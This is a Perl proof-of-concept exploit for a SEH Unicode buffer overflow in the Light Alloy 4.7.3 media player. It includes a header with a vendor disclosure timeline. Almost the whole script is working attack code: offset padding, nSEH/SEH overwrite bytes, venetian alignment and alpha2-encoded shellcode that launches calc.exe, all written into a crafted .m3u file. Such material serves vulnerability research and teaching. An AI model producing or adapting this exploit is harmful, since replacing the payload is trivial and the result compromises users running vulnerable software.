Light Alloy 4.7.3 – ‘.m3u’ Local Buffer Overflow (SEH Unicode)
#!/usr/bin/perl ############################################################################################ # Exploit Title: Light Alloy 4.7.3 (.m3u) - SEH Buffer Overflow (Unicode) # Date: 11-18-2013 # Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift # Vulnerable Software: Light Alloy v4.7.3 # Vendor Site: http://www.light-alloy.ru/ # Vulnerable Software Link: http://www.softpedia.com/dyn-postdownload.php?p=182552&t=4&i=1 # Version: 4.7.3 # Tested On: Windows XP SP3 # Timeline: # -- 18 Nov 2013: Vulnerability discovered, contacted vendor # -- 19 Nov 2013: Additional details provided, developer fix, pre-released tested/confirmed # -- 20 Nov 2013: Version 4.7.4 released with vuln fix ############################################################################################ my $buffsize = 5000; # sets buffer size for consistent sized payload my $junk = "http://" . "\x41" x 4090; # offset to seh my $nseh = "\x61\x62"; # overwrite next seh with popad (populates all registers) + nop my $seh = "\x33\x43"; # overwrite seh with unicode friendly pop pop ret # 0x00430033 : pop esi # pop ebx # ret (C:\Program Files\Light Alloy\LA.exe) # unicode venetian alignment my $venalign = "\x53"; # push ebx; ebx is the register closest to our shellcode following the popad $venalign = $venalign . "\x71"; # venetian pad/align $venalign = $venalign . "\x58"; # pop eax; put ebx into eax and modify to jump to our shellcode (100 bytes) $venalign = $venalign . "\x6e"; # venetian pad/align $venalign = $venalign . "\x05\x14\x11"; # add eax,0x11001400 $venalign = $venalign . "\x6e"; # venetian pad/align $venalign = $venalign . "\x2d\x13\x11"; # sub eax,0x11001300 $venalign = $venalign . "\x6e"; # venetian pad/align $venalign = $venalign . "\x50"; # push eax $venalign = $venalign . "\x6d"; # venetian pad/align $venalign = $venalign . "\xc3"; # ret my $nops = "\x71" x 109; # some unicode friendly filler before the shellcode # Calc.exe payload # msfpayload windows/exec CMD=calc.exe R # alpha2 unicode/uppercase my $shell = "PPYAIAIAIAIAQATAXAZAPA3QADAZA". "BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA". "58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB". "AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K". "22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL". "MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55". "Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V". "NQKONQ90FLGQ8OLMKQY7NXK0T5L4M33MKHOKSMND45JB". "R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT". "NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU". "89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM". "KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC". "QQ2LRCM0LJA"; my $sploit = $junk.$nseh.$seh.$venalign.$nops.$shell; # assemble the exploit portion of the buffer my $fill = "\x71" x ($buffsize - length($sploit)); # fill remainder of buffer with junk my $buffer = $sploit.$fill; # assemble the final buffer # write the exploit buffer to file my $file = "lightalloy_unicodeseh.m3u"; open(FILE, ">$file"); print FILE $buffer; close(FILE); print "Exploit file [" . $file . "] created\n"; print "Buffer size: " . length($buffer) . "\n"; |